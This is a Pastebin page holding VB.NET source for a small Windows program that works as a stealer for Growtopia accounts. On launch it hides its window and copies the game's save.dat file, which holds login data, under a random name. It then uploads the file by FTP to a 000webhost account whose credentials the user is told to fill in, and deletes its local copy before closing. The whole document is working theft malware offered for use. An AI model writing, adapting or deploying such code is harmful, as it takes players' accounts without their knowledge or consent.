Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Environment
- Imports System.IO
- Public Class Form1
- Dim Path = GetFolderPath(SpecialFolder.MyDocuments) + "/Temporary/"
- Dim FTPFile As String
- Dim AA = True
- Dim BB = True
- Dim CC = True
- Public Function Random(ByVal len As Integer, ByVal lower As Boolean, ByVal upper As Boolean, ByVal numbers As Boolean)
- Dim Pool As String
- Pool &= "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
- Pool &= "0123456789"
- Dim nn As New System.Random
- Dim result As String
- Dim cc = 0
- While cc < len
- result &= pool(nn.Next(0, pool.Length))
- cc += 1
- End While
- Return result
- End Function
- Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
- If (System.IO.Directory.Exists(Path)) Then
- System.IO.Directory.Delete(Path, True)
- End If
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- On Error Resume Next
- Me.Hide()
- Dim FTPHost = "ftp://files.000webhost.com/public_html/"
- Dim FTPUser = "Your Username" 'Change this to your 000Webhost username.
- Dim FTPPass = "Your Password" 'Change this to your 000Webhost password.
- Button1.Text = Random(7, AA, BB, CC)
- Dim Source = (GetFolderPath(SpecialFolder.LocalApplicationData) + "/Growtopia/save.dat")
- Dim Target = (GetFolderPath(SpecialFolder.MyDocuments) + "/Temporary/" + Button1.Text.ToString + ".dat")
- FTPFile = Button1.Text + ".dat"
- If IO.File.Exists(Source) Then
- If (Not System.IO.Directory.Exists(Path)) Then
- System.IO.Directory.CreateDirectory(Path)
- File.Copy(Source, Target, True)
- Else
- File.Copy(Source, Target, True)
- End If
- End If
- My.Computer.Network.UploadFile(Target, FTPHost + FTPFile, FTPUser, FTPPass)
- Me.Close()
- End Sub
- End Class
Add Comment
Please, Sign In to add comment